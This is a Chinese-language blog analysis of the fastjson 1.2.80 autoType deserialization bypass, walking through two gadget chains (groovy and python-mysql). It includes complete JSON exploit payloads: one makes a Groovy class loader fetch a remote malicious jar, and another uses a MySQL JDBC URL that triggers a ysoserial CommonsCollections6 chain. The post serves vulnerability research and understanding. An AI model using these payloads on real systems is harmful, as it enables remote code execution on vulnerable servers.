fastjson 1.2.80绕过简单分析
2022-09-28 15:01 rnss 阅读(1629) 评论(1) 编辑 收藏 举报先给出1.2.68的绕过思路:利用期望类绕过checkAutoType,条件如下:
- expectClass不为null,且不等于Object.class、Serializable.class、Cloneable.class、Closeable.class、EventListener.class、Iterable.class、Collection.class;
- expectClass需要在缓存集合TypeUtils#mappings或deserializers中;
- expectClass和typeName都不在黑名单中;
- typeName不是ClassLoader、DataSource、RowSet的子类;
- typeName是expectClass的子类。
由于只有ThrowableDeserializer和JavaBeanDeserializer在调用checkAutoType时第二个参数期望类不为null,所以1.2.68的绕过思路攻击面其实很窄,当时也只有少数的几个类可以利用,因此,1.2.68版本之后fastjson并没有针对这种绕过方式做修复,而是把少数的几个可以利用的类加入了黑名单,这也为1.2.80的绕过埋下了伏笔。
1.2.80的绕过是在1.2.68的基础上进行了拓展,主要是因为1.2.73版本更新了JSONObject.toJavaObject
这是反序列化类时,类实例化的部分,1.2.73之前只有有注解并且不是期望类的属性才会被实例化,1.2.73之后有注解和不是期望类只要满足其一即可被实例化,被实例化之后的属性(包括setter方法的参数、public field参数或者是构造方法的参数)的类型会被添加到反序列化缓存TypeUtils.mappings中。
ps: 关于JavaBean 实例化机制:
通过这张图可以看出,在反序列化缓存TypeUtils.mappings中的类能绕过黑名单然后被反序列化,所以1.2.80绕过方式总结一下就是通过实例化类的属性将对应的类型添加到反序列化缓存TypeUtils.mappings(可迭代),然后再从反序列化缓存中加载并反序列化需要的类。
下面具体分析一下两条链:groovy和python-mysql
groovy
依赖:fastjson1.2.76-1.2.80、groovy
复现:https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7
payload1:
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
payload2:
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:81/attack-1.jar"
}
}
首先第一个payload,先使用1.2.68的绕过方式,因为org.codehaus.groovy.control.CompilationFailedException是java.lang.Exception的子类,所以可以绕过checkAutoType被反序列化,反序列化时实例化该类时由于该类的构造方法中有一个参数是ProcessingUnit,所以也会实例化org.codehaus.groovy.control.ProcessingUnit并把org.codehaus.groovy.control.ProcessingUnit加入反序列化缓存。
然后第二个payload,由于第一个payload已经把org.codehaus.groovy.control.ProcessingUnit加入了反序列化缓存,所以org.codehaus.groovy.control.ProcessingUnit会正常反序列化,同时由于org.codehaus.groovy.tools.javac.JavaStubCompilationUnit是org.codehaus.groovy.control.ProcessingUnit的子类,所以org.codehaus.groovy.tools.javac.JavaStubCompilationUnit也能绕过checkAutoType成功反序列化。
最后就是groovy的反序列化链了
首先ProcessingUnit的构造函数里调用了setClassLoader
然后setClassLoader里调用了GroovyClassLoader,第二个参数是getConfiguration(),其实获取的是一个CompilerConfiguration
进GroovyClassLoader
GroovyClassLoader里调用了config.getClasspath()和this.addClasspath(path),这里的path就是我们在payload里设置的"classpathList":"http://127.0.0.1:81/attack-1.jar"
,这里其实是设置了一个保存了恶意jar包的GroovyClassLoader
然后是一连串的调用链:
最后调用ASTTransformationVisitor.addPhaseOperationsForGlobalTransforms完成远程加载并实例化java对象
python-mysql
依赖:fastjson1.2.76-1.2.80、rhq-scripting-python-4.13.0、postgresql-42.3.1
payload1:
{
"@type":"java.lang.Exception",
"@type":"org.python.antlr.ParseException",
"type":{}
}
payload2:
{
"@type":"org.python.core.PyObject",
"@type":"com.ziclix.python.sql.PyConnection",
"connection":{}
}
payload3:
{
"@type":"java.sql.Connection",
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy":{
"connectionString":{
"url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_calc"
}
}
}
首先payload1,还是一样的org.python.antlr.ParseException是java.lang.Exception的子类,所以能反序列化,然后因为setType参数里有PyObject,所以实例化org.python.antlr.ParseException的过程中也将org.python.core.PyObject实例化并加入了反序列化缓存。
然后payload2,一样的逻辑,由于com.ziclix.python.sql.PyConnection构造函数里有参数类型为Connection,所以在实例化com.ziclix.python.sql.PyConnection的过程中也会将java.sql.Connection加入反序列化缓存。
接着payload3,因为com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection实现了java.sql.Connection,所以它也能绕过checkAutoType反序列化,后面就是mysql JDBC 反序列化链了。
参考: